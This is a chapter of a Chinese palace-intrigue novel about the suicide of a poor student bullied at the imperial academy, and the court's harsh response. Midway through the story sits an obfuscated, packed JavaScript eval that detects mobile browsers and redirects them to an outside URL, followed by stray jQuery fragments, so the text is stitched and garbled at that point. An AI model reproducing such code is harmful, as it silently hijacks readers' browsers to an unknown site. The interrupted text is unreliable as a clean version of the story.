周易从墙后走出来，“唉，这宫里的茶真不是好喝的。”


    薛行简回神。


    “快走吧，”他若无其事的回头，“再晚宫门就要下钥了。”


    周易点了点头，快步赶上他。


    行简压下心底翻涌的情绪，平静道：“难得见你进宫。”


    “可别提了，”周易一拍脑袋，“从去年秋闱我娘就憋着这个劲呢，今年春闱一放榜，立刻就开始招罗给我找媳妇儿，还托宫里的姑母帮着给相看。”


    “定了？”


    “早着呢。”


    两人走出大明宫，高大的宫门在他们身后缓缓关闭。


    周易叹了口气，“太学的事有结果了？”


    “嗯，”行简低低应了声，“过程大约是清楚了，怎么处置就要看宫里的意思了。”


    死去的那个少年，名叫南慕，孤身一人从豫州来京求学。他没有超越常人的聪明，却足够努力，十年寒窗，才考进太学。


    家中父母都是普通的佃户，唯一的姐姐嫁在青州。


    太学中的学生瞧不起这个乡野之地来的土包子，连同为寒门的靴子，也觉得他都是钻了前几年政策的空子，才考入太学，故而也多加轻视。


    讽刺的是，这些寒门的学子，自觉受父母荫庇保入太学的豪门贵族是理所当然，却对朝廷特批扶持的贫农学子轻视嘲笑。


    周易皱眉，“是那年豫州大旱，长公主特批，破格录取豫州贫寒农家的学生入太学？”


    行简点头，周易嗤笑一声，“就为这个？每年勋贵家不知有多少受家族蒙阴入太学的，比起他们，那孩子至少通过太学考试了吧，他们是哪来的脸来看不起他！”


    “很奇怪吧。”


    行简抬起头头，头顶的槐树枝繁叶茂，几可蔽天。


    “太学大多学生也瞧不上靠家族荣荫入学的学生，可无论心里多么清高，面上总不好过不去。但南慕不一样，他没有背景，却以比他们低的标准被录取，他们瞧不上他，更可以无所顾忌的侮辱他。”


    周易喉头一涩，忽然有一股沉重的无力感拽住了他。


    他甚至问不出，难道太学的先生师长也都对此视而不见吗？


    行简颔首，这槐树下的老根，又该是如何盘根错节，绵延千里。


    南慕在京城没有家，连同学们凑钱买的棺木，也只能停在城外的义庄。


    今天，他不止一次经过太学的祠堂，高悬的匾额，庄严的屋宇，深红的漆柱，如此朗朗乾坤，实在令人难以想象，就这这里，一个十五岁的孩子，结束了自己的生命。


    当初离开豫州时，他曾抱又多大的希望？深夜了结自己的性命时，又该有多么绝望？


    太阳坠入西天，天色暗去，又一个夜幕降临了。


    ***


    烛火跃动，明玉独自坐在案后，案上摊着大理寺连夜整理的卷宗。


    “朱门鹰犬贵，寒窑骨肉贱。流星荃不察，我血荐轩辕”


    一阵空前的疲惫忽然袭击了她，执政十四年，她第一次开始怀疑自己……


    三年前豫州大旱，为缓解农民的压力笼络民心，同时也为朝廷招贤纳士，她特批太学以较低的标准录取豫州出身贫农的学生。


    在所有逼迫那个少年自尽的风雨里，也有她的一份……


    如果她所努力的一切，都只是让百姓过得更痛苦，那还有什么意义？


    或许，真的是她错了，坚持先帝的无为而治，让一切保持原样，才是最好的吗？


    灯花蓦地在眼前炸开，她“嚯”地从案后挺直脊背。


    不，不是这样的……


    太学不该是这样的——


    难道在逼得少年学子走投无路后，还要怪他不认命吗……


    明玉提起朱笔，在她熟悉的自己后写下准阅的意见。


    拨乱反正，还需要理由吗……


    不然，这样的太学，就是我们的学生读书的地方吗？而这些人，就是我们为社稷培养的栋梁吗？


    一个十五岁的孩子都敢敢以血直谏，她又有什么理由在这里自怜自哀？


    ***


    而在相隔几条街巷的青瓦宅邸里，同样有一盏孤灯，彻夜难眠。


    雪白的折本已经摊开多时，连砚里的墨都干枯了，薛行简却迟迟没有动笔。


    “人命关天！”


    白天时他吼王佑斌的话不断在耳边回响。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956368|193136||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所有华丽的文辞在见到血淋淋的棺椁后，都成了巧言狡辩——


    在大理寺的文综后写下自己的所见所闻后，心底沸腾的热血告诉他他还要再写一道奏折。


    可当他打开折本，愤懑、哀叹、惋惜齐齐冲到胸臆之间，他抬起的笔忽然就没有了重量。


    灯花在眼前爆开，薛行简叹了一声，提笔落下第一个字。


    ***


    太学案在朝堂炸开的第一天，不少嗅觉敏锐的老臣便预感到此事定不会善了。


    但没人想到长公主会下如此大狠手。


    国子监祭酒司业、大小主簿全部撤换，礼部侍郎问罪。


    皇帝当庭责问礼部尚书，斥责国子监太学学风不正，满朝文武都听出来皇帝在拐弯抹角的骂太傅其身不正，才致学风不正。


    所有通过祖荫入太学的学生，课程安排将与其他学生不同，日后也无法参加进士科考试。


    同时，薛行简的一道奏疏也在士林之间流传开来。


    一时间，士林内议论纷纷，寒门学子不约而同将薛行简奉为领袖。


    第二日，皇帝破格擢其为谏议大夫。


    薛行简是在为皇帝例行讲学时接到的旨意。


    他眼中是明显的诧异，明显到连萧启难以忽视。


    难得见老师露出这样的表情，萧启戏谑道：“老师是觉得这官儿太小了？”


    闻言，行简立刻敛眸。


    “岂敢，只是鲜花着锦，臣有些惶恐。”


    萧启显然不信，却没追究他的敷衍，“也罢，不过一会儿夜深了，老师得陪朕去个地方。”


    “陛下要出宫。”他抬起头来。


    “嘘——”萧启一脸郑重其事，“这是我们男人之间的秘密。”


    十六岁……男人的秘密……


    二十五岁的薛行简看着这个才到自己肩膀的少年皇帝，满眼复杂地点了点头。


    但他没想到——


    皇帝大半夜微服出宫来的地方，却是城外的义庄。


    停满棺木的义庄门外，是长年挥之不去的阴森气息。


    而当他扶着皇帝走下马车时，眼前却忽然出现一个黑色的身影。